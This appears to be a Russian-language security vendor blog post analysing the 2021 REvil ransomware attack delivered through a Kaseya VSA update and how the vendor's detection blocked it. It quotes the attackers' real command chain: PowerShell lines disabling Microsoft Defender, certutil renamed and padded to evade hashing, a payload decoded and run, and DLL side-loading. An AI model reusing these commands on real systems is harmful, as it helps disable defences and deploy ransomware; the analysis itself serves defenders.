Казалось бы, что еще можно написать про атаку REvil на Kaseya? Но еще кое-что можно. И сегодня мы расскажем о том, как происходит защита от подобных атак еще на том этапе, когда природа поражения была неизвестна.

Мы уже рассказывали об атаке на Kaseya VSA, которая по последним данным привела к остановке работы систем более чем в 1500 компаниях. Подробнее почитать об этом можно здесь. 

Но что интересно, еще в пятницу 2 июля, когда произошла атака, CEO Kaseya CEO Фред Воколла обещал, что компания постарается восстановить работу сервисов в течение 24 часов. Однако сделать это не удалось, ни в субботу, ни в понедельник. Kaseya пришлось многократно откладывать время восстановления, потому что справиться с последствиями атаки оказалось намного сложнее, чем предотвратить. 

Около 50 клиентов Kaseya (в основном MSP) используют on-premise версию VSA, и поэтому их серверы были скомпрометированы в первую очередь. В результате пострадало около миллиона представителей малого бизнеса, которые являлись клиентами соответствующих провайдеров, а сами MSP начали серьезно беспокоиться, ведь сервис не удавалось восстановить несколько дней. Кстати, как раз об этом мы говорили Acronis Cyberthreats Report 2020: сегодня провайдерам необходимо не только отчитываться о взломах и утечках, но также принимать меры, чтобы защитить своих клиентов от будущих угроз.

Но тут возникает вопрос: а можно ли было защититься от угрозы, которая в итоге на несколько дней вывела из строя огромное количество систем по всему миру? 

Вариант Acronis

Атака произошла 2 июля 2021 и один из наших клиентов, использующий систему защиты от Acronis, также попал “под раздачу”. Коллеги разрешили поделиться информацией о ходе атаки, которую мы раскрываем дальше.

По данным анализа первоначально вредоносное ПО попало в сеть компании вместе с обновлением Kaseya VSA, подписанным действующим цифровым сертификатом. 

В систему попал компонент REvil Ransomware, но поскольку система Acronis Detection and Response была настроена на “нулевое доверие”, решение обнаружило аномальную активность и заблокировало работу нового ПО до момента разрешения проблемы со стороны персонала. В результате, несмотря на то, что атака REvil была запущена сертифицированным обновлением Kaseya VSA, системы пользователя не пострадали.

Подробные данные об атаке

Установленная система защиты обнаружила следующие действия вредоносного ПО:

1. C:\program files (x86)\kaseya\[CUSTOMER ID]\agentmon.exe

• Обновление было запущено через агента Kaseya. Так называемый “Kaseya VSA Agent Hot-fix” вызвал командную строку и запустил код. Обновление, требующее прав администратора на запуск, было подготовлнео хакерами за счет доступа к консоли Kaseya VSA через новый эксплойт нулевого дня. 

2. Cmd.exe

• Строка cmd.exe была вызвана для запуска следующих команд:

"C:\windows\system32\cmd.exe" /c ping 127.0.0.1 -n 5236 > nul & C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Set-MpPreference -DisableRealtimeMonitoring $true

-DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true

-DisableScriptScanning $true -EnableControlledFolderAccess Disabled

-EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled

-SubmitSamplesConsent NeverSend & copy /Y

C:\Windows\System32\certutil.exe C:\Windows\cert.exe & echo %RANDOM% >> C:\Windows\cert.exe & C:\Windows\cert.exe -decode c:\kworking\agent.crt c:\kworking\agent.exe & del /q /f c:\kworking\agent.crt C:\Windows\cert.exe & c:\kworking\agent.exe

• Запуск скрипта PowerShell сопровождался командой “ping localhost”, которая часто используются в качестве паузы.

3. Powershell.exe

• Powershell была запущена через cmd.exe со следующими параметрами

• C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Set-MpPreference -DisableRealtimeMonitoring $true

-DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true

-DisableScriptScanning $true -EnableControlledFolderAccess Disabled

-EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled

-SubmitSamplesConsent NeverSend

• Цель этого действия — отключить различные функции безопасности Microsoft Defender.

• И именно на этом этапе сработало обнаружение Acronis (на картинке ниже).

 4. Cert.exe

• Этот исполняемый файл был также вызван из командной строки cmd.exe со следующими параметрами:

C:\Windows\cert.exe -decode c:\kworking\agent.crt c:\kworking\agent.exe

• Попытка декодировать “c:\kworking\agent.crt” с помощью Certutil.exe также была остановлена защитой Acronis (на картинке ниже).

Далее Certutil.exe перемещается в “C:\windows”, в файл дописывается рандомное количество случайных байт, 

• Вероятно, это делается для того, чтобы избежать сигнатурного детектирования по сумме MD5 и проверки пути доступа к файлу (кстати, использование вполне легитимной утилиты, такой как certutil.exe, уже стало типичной техникой “living-off-the-land”, которую хакеры применяют с большим энтузиазмом).

5. Agent.exe

• Предварительно расшифрованный исполняемый файл, подписанный сертификатом “PB03 TRANSPORT LTD” также запускается путем вызова из командной строки.

• Agent.exe пытается создать файлы MsMpEng.exe и mpsvc.dll. И это действие вновь блокируется утилитами Acronis (наглядно показано на двух изображениях ниже).

• MsMpEng.exe — это устаревшая, но совершенно “чистая” версия WindowsDefender. Но именно она должна запустить mpsvc.dll как стороннюю DLL, чтобы приступить к шифрованию.

• Стоит отметить, что исполняемые файлы agent.exe и mpsvc.dll на тот момент были неизвестны как угрозы, о чем свидетельствуют следующие скриншоты.

Итак, что позволило сделать использование системы “нулевого доверия” от Acronis? Решение обнаружило расшифровку файлов — распаковку agent.exe из agent.crt. Далее решение не позволило agent.exe создать файлы в системных директориях, атака провалилась и операционным системам заказчика не было нанесено никакого ущерба. Из этого опыта можно сделать простой вывод: используйте решения, способные блокировать подозрительные действия даже не кажущихся подозрительными файлов и библиотек.

Индикаторы компрометации